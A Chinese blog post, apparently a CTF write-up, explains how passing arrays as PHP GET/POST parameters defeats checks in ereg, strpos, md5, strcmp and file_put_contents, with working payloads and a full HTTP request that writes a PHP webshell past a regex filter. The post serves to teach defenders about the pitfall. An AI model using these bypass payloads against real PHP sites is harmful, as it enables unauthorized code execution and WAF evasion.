小心别让数组作为参数传入而引发安全问题!(PHP)

0
Want create site? Find Free WordPress Themes and plugins.

看这段PHP代码:

$put=$_GET[‘put’];

请问,这里$put变量的类型是什么?你一定会在潜意识里把这个变量当做字符串,从而对此编写后面的代码。但其实PHP还支持这样玩:

(用var_dump输出变量$put)

很不可思议对吧?GET参数名加个“[]”符号居然就变成数组解析了!这就引发了很多安全问题。

下面居正给大家整理几个示例。


南邮CTF平台的一道题

题目所给代码

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

需要参数 nctf 有值
@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE不能成立
strpos ($_GET['nctf'], '#biubiubiu') !== FALSE成立就会给 flag

第一个不等式中 ereg 函数,当传入参数为数组 nctf[] 时,NULL != FALSE ,构造成功跳过第一个不等式
第二个不等式中 strpos 函数传入参数 数组之后 NULL != FLASE会返回flag
最后构造的参数为 nctf[]=123


南邮CTF平台的另一道题

题目所给代码

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

php中的 md5 函数遇到参数是数组时,返回 NULL ,所以传入 a[] = 1 & b[] = 2 得到NULL === NULL,返回Flag


南邮CTF平台的第三道题

核心源码

<?php
$pass=@$_POST['pass'];
$pass1=*;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

抓包改pass的值 等于 pass[] = 1
strcmp函数为NULL,if 值为真


PWNHUB的一道题+应用实例

解密出数据包后可以看到,Location的值给出了两个信息:

  1. 源码包的路径
  2. 目标地址

所以,下载源码进行分析。

这是一个比较简单的代码审计题目,简单流程就是,用户创建一个Ticket,然后后端会将Ticket的内容保存到以“cache/用户名/Ticket标题.php”命名的文件中。然后,用户可以查看某个Ticket,根据Ticket的名字,将“cache/用户名/Ticket标题.php”内容读取出来。

这个题目的考点就在于,写入文件之前,我对用户输出的内容进行了一次正则检查:

<?php
function is_valid($title, $data)
{
    $data = $title . $data;
    return preg_match('|\A[ _a-zA-Z0-9]+\z|is', $data);
}

function write_cache($title, $content)
{
    $dir = changedir(CACHE_DIR . get_username() . '/');
    if(!is_dir($dir)) {
        mkdir($dir);
    }
    ini_set('open_basedir', $dir);

    if (!is_valid($title, $content)) {
        exit("title or content error");
    }

    $filename = "{$dir}{$title}.php";

    file_put_contents($filename, $content);
    ini_set('open_basedir', __DIR__ . '/');
}

整个流程如下:

  1. title和content拼接成字符串
  2. 将1的结果进行正则检测拦截,正则比较严格,\A[ _a-zA-Z0-9]+\z,只允许数字、字母、下划线和空格
  3. 匹配成功,使用file_put_contents(title, content)写入文件中

也就是说,我们的webshell,至少需要<?等字符,但实际上这里正则把特殊符号都拦截了。

这就考到PHP的一个小Trick了,我们看看file_put_contents的文档即可发现:

15026275380628.jpg

其第二个参数允许传入一个数组,如果是数组的话,将被连接成字符串再进行写入。

回看我的题目,在正则匹配前,$title$content进行了字符串连接。得益于PHP的弱类型特性,数组会被强制转换成字符串,也就是Array,Array肯定是满足正则\A[ _a-zA-Z0-9]+\z的,所以不会被拦截。

所以最后,发送如下数据包即可成功getshell:

POST /i.php HTTP/1.1 
Host: 52.80.37.67:8078 
Content-Length: 49 
Cache-Control: max-age=0 
Origin: http://52.80.37.67:8078 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 
Content-Type: application/x-www-form-urlencoded 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 
Referer: http://52.80.37.67:8078/index.php 
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 
Cookie: PHPSESSID=asdsa067hpqelof5cevlgcsip4 
Connection: close 

title=s&content[]=<?php&content[]=%0aphpinfo();

(自豪的说一下,为了防搅屎,我已经把我前段时间写的PHP沙盒加进来了,所以getshell后只能执行少量函数。最后只要执行一下show_flag()即可获得Flag)

file_put_contents这个特性还是比较有实战意义的,比如像下面这种基于文件内容的WAF,就可以绕过:

<?php
$text = $_GET['text'];
if(preg_match('[<>?]', $text)) {
    die('error!');
}
file_put_contents('config.php', $text);

OK,以上就是本期漏洞预警台给大家分享的内容。各位以后拍黄片写PHP的时候一定注意啦!!

参考资料:

https://snowwood.github.io/writeup/2016/06/05/%E5%8D%97%E9%82%AECTF%E7%9A%84Writeup

https://www.leavesongs.com/PENETRATION/pwnhub-first-shalon-ctf-web-writeup.html

Did you find apk for android? You can find new Free Android Games and apps.

关于作者

居正

大道至简

发表评论